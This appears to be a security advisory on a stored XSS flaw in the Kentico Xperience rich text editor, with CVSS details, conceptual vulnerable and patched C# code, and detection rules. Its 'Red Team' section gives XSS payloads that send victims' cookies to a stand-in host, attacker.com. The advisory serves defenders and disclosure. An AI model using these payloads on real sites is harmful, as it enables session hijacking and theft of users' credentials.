CVE-2024-58318

Executive Summary

CVE-2024-58318 is a stored cross-site scripting (XSS) vulnerability in Kentico Xperience, a .NET-based content management system (CMS). The flaw resides in the rich text editor component used within page and form builders. An authenticated attacker with content editing privileges can inject malicious URIs into stored content. When other users (including administrators) view or interact with the affected page or form, the injected script executes in their browser context. This can lead to session hijacking, credential theft, or defacement. No public exploit code or proof-of-concept is currently available, and Kentico has not released a security patch. The vulnerability is classified as medium severity due to the requirement for authenticated access and user interaction.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). Kentico Xperience is a commercial .NET CMS distributed via its own installer and NuGet packages. The risk is limited to organizations that self-host or manage Kentico deployments. No supply chain compromise has been identified.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated content editor)
• User Interaction: Required (victim must view the malicious content)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low (potential data exfiltration)
• Integrity Impact: Low (content manipulation)
• Availability Impact: None

Threat Level: Medium. Exploitation requires authenticated access, but the stored nature of the XSS increases persistence and reach. No active exploitation in the wild has been reported.

Deep Dive & Mechanics

The vulnerability exists in the rich text editor (likely based on TinyMCE or CKEditor) integrated into Kentico Xperience's page and form builders. The editor fails to properly sanitize or encode user-supplied URIs when rendering stored content. An attacker can craft a URI containing JavaScript, such as:

javascript:alert(document.cookie)

When the content is saved and later rendered in a victim's browser, the URI is not neutralized. The browser interprets the javascript: scheme and executes the embedded script. This is a classic stored XSS pattern.

Attack Flow:

1. Attacker authenticates to Kentico Xperience with content editor privileges.
2. Attacker navigates to a page or form builder and inserts a rich text element.
3. Attacker enters a malicious URI (e.g., javascript:alert('XSS')) into a link or image source field.
4. The content is saved to the database without proper sanitization.
5. Victim (e.g., administrator or site visitor) views the affected page.
6. The browser renders the malicious URI, executing the attacker's script.

Root Cause: Insufficient input validation and output encoding in the rich text editor's URI handling. The application likely uses a whitelist approach that fails to block the javascript: scheme.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a conceptual comparison.

Vulnerable Code (C# example):

// Vulnerable: Directly outputs user-supplied URI without sanitization
public string RenderRichText(string content)
{
    // Assume content is already sanitized by the editor
    return content;
}

Patched Code (Conceptual):

// Patched: Sanitize URIs using a library like HtmlSanitizer
public string RenderRichText(string content)
{
    var sanitizer = new HtmlSanitizer();
    sanitizer.AllowedSchemes.Clear();
    sanitizer.AllowedSchemes.Add("http");
    sanitizer.AllowedSchemes.Add("https");
    sanitizer.AllowedSchemes.Add("mailto");
    return sanitizer.Sanitize(content);
}

The patched version uses a dedicated HTML sanitizer that strips dangerous URI schemes (e.g., javascript:, data:, vbscript:) and only allows safe schemes.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a Kentico Xperience instance with content editor privileges.
• A target page or form that uses the rich text editor.

Steps:

1. Log in to Kentico Xperience as a content editor.
2. Navigate to a page or form builder.
3. Add a rich text element.
4. In the source code view or link dialog, insert a malicious URI:

   <a href="javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)">Click me</a>
   

5. Save the page.
6. Send the page link to a victim (e.g., via email or internal communication).
7. When the victim clicks the link, the script executes and exfiltrates their cookies.

Alternative Payload (Image tag):

<img src="x" onerror="fetch('https://attacker.com/log?data='+document.cookie)">

Blue Team

Detection:

• Monitor web application logs for unusual URI patterns in rich text fields.
• Look for javascript: or data: schemes in stored content.
• Use a Web Application Firewall (WAF) to block requests containing javascript: in POST data.

Hunting:

• Query the Kentico database for rich text fields containing javascript::

  SELECT * FROM CMS_RichText WHERE Content LIKE '%javascript:%'
  

• Review recent changes to pages and forms by content editors.

Mitigation:

• Implement a Content Security Policy (CSP) that restricts script execution:

  Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
  

• Use a reverse proxy or WAF to sanitize incoming rich text content.
• Educate content editors about the risks of pasting untrusted content.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to attacker-controlled domains from the Kentico server or client browsers.
• Logs: Web server logs showing javascript: URIs in POST data or URL parameters.
• Database: Rich text fields containing javascript:, data:, or vbscript: schemes.
• File System: Modified or newly created pages with suspicious link or image attributes.

Example IOC (Database Query):

SELECT PageID, DocumentName, Content FROM CMS_Document WHERE Content LIKE '%javascript:%'

Detection Engineering

YARA Rule

rule CVE_2024_58318_Kentico_XSS {
    meta:
        description = "Detects stored XSS payloads in Kentico Xperience rich text content"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-58318"
    strings:
        $javascript_uri = /href\s*=\s*["']\s*javascript:/i
        $onerror_payload = /onerror\s*=\s*["']\s*(?:fetch|alert|eval)/i
        $data_uri = /src\s*=\s*["']\s*data:/i
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in Kentico Xperience Rich Text Editor
id: 8f3a2b1c-5d6e-7f8a-9b0c-1d2e3f4a5b6c
status: experimental
description: Detects attempts to inject malicious URIs into Kentico Xperience rich text fields
author: Valters IT
date: 2025-04-10
logsource:
    category: web_application
    product: kentico
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of javascript: URIs in development environments (rare)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-58318 Kentico Xperience Stored XSS Attempt";
    flow:to_server,established;
    content:"javascript:"; http_client_body;
    nocase;
    sid:1000001;
    rev:1;
    reference:cve,2024-58318;
)

Remediation & Mitigation

Immediate Actions:

1. Disable Rich Text Editor: Temporarily disable the rich text editor component in Kentico Xperience until a patch is available.
2. Input Validation: Implement server-side sanitization of all rich text input using a library like HtmlSanitizer (NuGet).
3. Content Security Policy: Deploy a strict CSP header to mitigate XSS impact.
4. User Education: Train content editors to avoid pasting untrusted content and to use plain text mode when possible.

Long-Term Fix:

• Monitor Kentico's official channels for a security patch.
• Upgrade to a patched version once released.
• Conduct a security audit of all custom modules and integrations.

Workaround:

• Use a reverse proxy (e.g., Nginx, Apache) with a WAF rule to block javascript: URIs in POST requests:

  location / {
      if ($request_body ~* "javascript:") {
          return 403;
      }
  }
  

Valters IT
DevSecOps & Cyber Threat Intelligence